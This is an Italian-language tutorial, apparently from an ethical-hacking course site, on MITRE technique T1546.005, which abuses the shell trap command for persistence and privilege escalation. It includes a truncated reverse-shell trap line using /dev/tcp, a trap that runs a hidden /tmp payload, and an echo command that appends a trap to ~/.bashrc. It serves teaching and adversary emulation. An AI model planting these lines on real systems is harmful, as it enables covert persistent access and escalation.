Trap: Event Triggered Execution via Trap (T1546.005)
La sotto-tecnica T1546.005 descrive l'abuso del comando trap delle shell Unix per ottenere persistenza ed eventuale escalation di privilegi. Il comando trap nasce con uno scopo legittimo: permette a script e shell di intercettare i segnali di interruzione — come il ctrl+c (SIGINT) o il ctrl+d — ed eseguire una routine di pulizia prima della terminazione. La sintassi è semplice: trap 'command list' signals, dove la lista di comandi viene eseguita quando la shell riceve i segnali indicati.
Un attaccante trasforma questo meccanismo di gestione ordinata in un innesco malevolo. Registrando un trap all'interno dei file di avvio della shell, il codice ostile viene rieseguito ogni volta che l'utente genera un determinato segnale, garantendo che l'accesso sopravviva a chiusure di terminale e riavvii di sessione.
La tecnica appartiene a due tattiche complementari. Nella tattica di Persistence (TA0003) l'obiettivo è mantenere il punto d'appoggio nel sistema attraverso interruzioni che altrimenti reciderebbero l'accesso. Nella tattica di Privilege Escalation (TA0004) il trap può sfruttare il contesto in cui la shell viene eseguita: se una routine privilegiata invoca uno script contaminato, il codice registrato eredita permessi più elevati.
Si tratta di una tecnica silenziosa perché riusa una funzionalità nativa e legittima, senza introdurre binari sospetti. La superficie colpita comprende sistemi Linux e macOS, dove le shell POSIX-compatibili sono onnipresenti su server, workstation e infrastrutture di orchestrazione.
Dal punto di vista offensivo, la registrazione di un trap è tra i meccanismi di persistenza più economici da impiantare in un ambiente Unix. L'idea è inserire una direttiva nei file di inizializzazione della shell della vittima, in modo che un segnale ordinario riattivi il payload.
Un esempio lab-safe di persistenza su interruzione da tastiera:
trap 'bash -i >& /dev/tcp/
Inserendo questa riga in ~/.bashrc o ~/.bash_profile, ogni pressione di ctrl+c nella sessione dell'utente rilancia una reverse shell. Segnali alternativi come EXIT, HUP o TERM ampliano le condizioni d'innesco:
trap 'sh /tmp/.payload.sh' EXIT
Qui il codice viene eseguito alla chiusura della shell, coprendo un evento inevitabile. Per macOS lo stesso approccio funziona nei file di avvio di zsh (~/.zprofile, ~/.zshrc), shell di default sui sistemi Apple recenti.
La catena d'attacco tipica prevede: ottenere un accesso iniziale a livello utente, individuare quale shell e quali file di avvio siano letti all'apertura di sessione, e appendere la direttiva trap con un echo per non sovrascrivere il contenuto esistente:
echo "trap 'sh /tmp/.p' HUP" >> ~/.bashrc
Per l'escalation, l'attaccante cerca script eseguiti da utenti privilegiati o da cron: se uno di questi include o sorge un file scrivibile in cui inserire un trap, il payload viene innescato con i privilegi del chiamante.
Per la simulazione controllata sono utili i seguenti strumenti:
- Atomic Red Team (open source), che fornisce test riproducibili proprio per T1546.005 con inserimento e cleanup automatizzati del trap.
- MITRE Caldera (open source), per orchestrare la persistenza in scenari di adversary emulation.
- PEASS-ng / LinPEAS (open source), per la fase di ricognizione dei file di avvio scrivibili e degli script privilegiati.
Una nota operativa: la direttiva trap è visibile con trap -p, che elenca i trap registrati nella sessione corrente. In laboratorio è buona prassi documentare ogni inserimento e ripristinare lo stato originale dei file, poiché queste modifiche restano latenti e possono innescarsi involontariamente durante i test successivi.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo